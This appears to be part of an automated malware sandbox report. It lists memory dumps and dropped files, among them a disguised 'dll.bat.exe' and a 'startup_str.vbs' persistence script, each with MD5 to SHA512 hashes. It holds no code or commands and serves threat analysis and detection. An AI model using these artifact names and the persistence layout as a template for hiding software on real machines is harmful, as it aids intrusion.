memory/1524-17-0x0000023EB10E0000-0x0000023EB1102000-memory.dmp
C:\Users\Admin\Desktop\1\Repo\bin\dll.bat
| MD5 | 8b1f260a182f74419011f14a8ba21a37 |
| SHA1 | 48d8da3f5971ebd6b358b6b63491b5e68f099a6c |
| SHA256 | 478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225 |
| SHA512 | 509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa |
C:\Users\Admin\Desktop\1\Repo\bin\dll.bat.exe
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
memory/1636-49-0x000001DC470E0000-0x000001DC470EA000-memory.dmp
memory/1636-50-0x000001DC470F0000-0x000001DC4713A000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 92b960421da14bf14cfe00469ed69130 |
| SHA1 | 3a8d0978e53be61ed58dec0f6b2fd9d8d387633e |
| SHA256 | 19562f4839146d03becec53f4fb92e6ae058de7efc43b2c34f5f626f830d4108 |
| SHA512 | 1ab578fd37d50371ad429bfc55285bd3980ef6049935ad9f4c6f68fa5b9364dda20d90581e5a1f193f0482acfffe68e2ee812df136aa8a900be11b897fb67de5 |
C:\Users\Admin\AppData\Roaming\startup_str.vbs
| MD5 | 371257951e09cb56fafbbda4847cbcb7 |
| SHA1 | 6d9dab286de574a099f6fe955720a1d87484cea3 |
| SHA256 | bb77d873388b64bacd10df67a60d012ed4acc5b03b7fa1070584b7133fa371b3 |
| SHA512 | 1dffef10d8f25f6df8db17d09b278701211a40497d3aa8749676aeca3426cdc63232135984e74c8abf73442d917df7288b15d93229d8090684f3acba224f9bc1 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
memory/3912-104-0x000002033D060000-0x000002033E060000-memory.dmp
memory/4672-106-0x00000228A3A30000-0x00000228A3A46000-memory.dmp
memory/4672-105-0x00000228A3A20000-0x00000228A3A2C000-memory.dmp